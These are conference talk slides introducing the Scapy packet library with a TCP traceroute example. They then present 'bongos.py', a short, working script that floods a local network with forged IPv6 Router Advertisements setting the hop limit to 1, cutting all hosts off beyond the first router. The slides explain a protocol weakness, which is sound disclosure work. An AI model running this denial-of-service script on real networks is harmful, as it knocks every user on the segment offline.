SCAPY

Let’s build an exploit

D. S. Ljungmark
N. Lindgren

https://www.bongos.se/

MODIO
Secure & efficient energy information

Exploit: SCAPY rocks

A (Python) framework for packet manipulation

TCP Traceroute

Sends packets to open port

TCP Traceroute

Changing TTL to see routers

TCP Traceroute

```
from scapy.all import *

packet = IP(dst="ping.sunet.se", ttl=(1, 10),
        id=RandShort())/TCP(flags=0x2)

answered, unanswered = sr(packet, timeout=30)
```

TCP Traceroute

```
for sent, received in answered:
    print(sent.ttl, received.src,
          isinstance(received.payload, TCP))
```

TCP Traceroute

```
$ sudo python traceroute.py
Begin emission:
..****Finished to send 10 packets.
**..........................................................................
Received 80 packets, got 6 answers, remaining 4 packets
(1, '10.119.232.1', False)
(2, '192.168.1.1', False)
(3, '213.50.118.42', False)
(4, '192.36.125.18', True)
(5, '192.36.125.18', True)
(6, '192.36.125.18', True)
$
```

IPv6: Quoth the RFC

“If the received Cur Hop Limit value is non-zero, the host SHOULD set its CurHopLimit variable to the received value.”

IPv6: Router Advertisement

ICMP Type	ICMP Code	Checksum
Cur Hop limit	M|O|Reserved	Router Lifetime

Reachable time
Retrans timer
Options

IPv6: Router Advertisement

ICMP Type	ICMP Code	Checksum
Cur Hop limit	M|O|Reserved	Router Lifetime

Reachable time
Retrans timer
Options

Exploit: bongos.py

```
#!/bin/env python
import scapy.all
from scapy.layers.inet6 import *
ip = IPv6()
ip.dst = "ff02::1"
```

Exploit: bongos.py

```
icmp = ICMPv6ND_RA()
icmp.chlim = 1
send(ip/icmp, loop=True,inter=1)
```

Exploit: And then what?

Clients see RA packet and

Apply the Hop Limit

Impact

Hop Limit is suddenly 1

Globally

Impact

All outgoing packets get dropped at first router

Exploit: bongos.py

```
# Undo it all again
icmp.chlim = 64
send(ip/icmp, loop=True,inter=1)
```

FIN

https://www.bongos.se/

MODIO
Secure & efficient energy information